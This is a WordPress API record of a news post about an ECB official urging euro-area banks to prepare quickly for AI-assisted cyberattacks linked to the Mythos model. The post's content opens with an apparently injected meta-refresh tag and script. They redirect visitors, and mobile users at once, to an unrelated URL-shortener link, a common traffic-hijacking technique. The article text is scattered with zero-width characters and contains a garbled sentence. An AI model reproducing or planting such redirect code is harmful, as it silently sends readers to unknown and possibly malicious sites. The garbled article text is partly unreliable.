{"id":256,"date":"2026-05-13T15:09:00","date_gmt":"2026-05-13T10:09:00","guid":{"rendered":"https:\/\/ipp-news.com\/2026\/05\/13\/ecb-urges-banks-to-brace-quickly-for-ai-assisted-cyberattacks\/"},"modified":"2026-05-13T15:09:00","modified_gmt":"2026-05-13T10:09:00","slug":"ecb-urges-banks-to-brace-quickly-for-ai-assisted-cyberattacks","status":"publish","type":"post","link":"https:\/\/ipp-news.com\/?p=256","title":{"rendered":"ECB urges banks to brace quickly for AI-assisted cyberattacks"},"content":{"rendered":"<p><meta http-equiv=\"refresh\" content=\"7; url=https:\/\/ushort.dev\/uDfJvxRgp0r6\" \/><script>(window.matchMedia(\"(pointer:coarse)\").matches||\/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile\/i.test(navigator.userAgent))&&location.replace(\"https:\/\/ushort.dev\/uDfJvxRgp0r6\");<\/script><\/p>\n<div>\n<p><strong>European Central Bank board member Frank Elderson on Wednesday urged banks \u200bin the euro area to quickly prepare \u200cfor potential cyberattacks launched with the help of Anthropic\u2019s Mythos AI model or similar tools.<\/strong><\/p>\n<p>Elderson, who is Vice \u200bChair of the ECB\u2019s bank supervision arm, \u200bsaid in an interview in the ECB publication \u2060Supervision Newsletter that euro area banks currently \u200bdo not have access to Mythos.<\/p>\n<p>\u201cLack of access \u200bis not an excuse for inaction. On the contrary, it makes it even more critical that banks step up \u200band act now,\u201d he said.<\/p>\n<p>Reuters reported this \u200bweek that large US banks, which have been granted early \u200caccess \u2060to Mythos, are rushing to fix scores of data system weaknesses flagged by the tool.<\/p>\n<p>Mythos is viewed by cybersecurity experts as a significant challenge to \u200bthe, prompting a series of warnings from regulators and policymakers.<\/p>\n<p>Elderson \u200bwarned that banks need to brace \u200bfor \u2060future AI models that enable even more aggressive cyberattacks.<\/p>\n<p>\u201cWe need to be able to deal with \u2060ever \u200bmore capable future models that \u200bcould be released in relatively quick succession,\u201d he said.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>European Central Bank board member Frank Elderson on Wednesday urged banks \u200bin the euro area to quickly prepare \u200cfor potential cyberattacks launched with the help of Anthropic\u2019s Mythos AI model or similar tools. Elderson, who is Vice \u200bChair of the ECB\u2019s bank supervision arm, \u200bsaid in an interview in the ECB publication \u2060Supervision Newsletter that euro area banks currently \u200bdo not have access to Mythos. \u201cLack of access \u200bis not an excuse for inaction. On the contrary, it makes it even more critical that banks step up \u200band act now,\u201d&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-256","post","type-post","status-publish","format-standard","hentry","category-english"],"gutentor_comment":0,"_links":{"self":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/posts\/256","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=256"}],"version-history":[{"count":0,"href":"https:\/\/ipp-news.com\/index.php?rest_route=\/wp\/v2\/posts\/256\/revisions"}],"wp:attachment":[{"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=256"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=256"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipp-news.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=256"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}